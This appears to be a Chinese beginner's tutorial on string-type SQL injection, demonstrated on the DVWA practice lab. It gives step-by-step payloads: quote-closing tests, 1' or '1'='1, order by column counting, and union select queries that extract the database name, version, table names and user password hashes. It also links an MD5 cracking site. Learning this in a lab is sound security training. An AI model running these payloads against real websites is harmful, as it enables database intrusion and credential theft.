第一步,我们来分析是否存在字符型注入点:
1、id=1 返回正常。
2、id=1' 返回错误
3、id=1 and 1=1 “1=1” 为真返回正常
4、id=1 and 1=2 “1=2”为假返回错误。
测试符合这四个条件,证明该位置存在字符型注入点漏洞。
//原理分析:
因为字符型的注入点不同于数字型 数字型注入点 后台的php传参点格式为 id=$
字符型则为 'id=$' 有两个引号
下面以dvwa靶场进行实验演示
我们输入1'# 来使'id=$'前边的引号闭合并且用#注释掉后边的引号 ,因此返回正常。
我们输入 1' 使前边的引号闭合 但不输入# 此时后台执行的语句为 id='1'' 1后边两个引号此时会发生报错:
有此原理我们可以构造 1' or '1'='1
此时后台语句为 id='1' or '1'='1' 都为真,因此可以可以得出所有的用户信息:
//!!!!!
第二步,判断字符数:
使用1' order by 1# 返回正常
1' order by 2# 返回正常
1' order by 3# 返回错误
得到此处的数据库字段数为2
第三步,判断其输出位置
1' union select 1,2, #
第四步,获取所有数据库名:
利用union方式查看数据库名称并查看数据库版本
1' union select database(),version()#
查看用户名和数据库名:
1' union select user(),database()
得到数据库名称为”dvwa" 用户名为“root@localhost” 数据库版本为“5.7.26”
第五步,查看dvwa数据库中的表名:
利用union方式查看
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
;
第六步查询列名:
猜测需要的信息在users中
因此直接查询users
最后一步!查看字段:
因为发现了列中有 user和password
因此直接查询这两个字段名
得到最后字段,但是经过加密。
在这里分享一个很不错的解密平台:md5在线查询破解,md5解密加密https://md5.cc/
新手学习心得,中间遇得到查询表名时可能会遇到 Illegal mix of collations for operation “UNION”
的报错信息,这时候我们需要将union字符段左右的字符规则改变一致,即可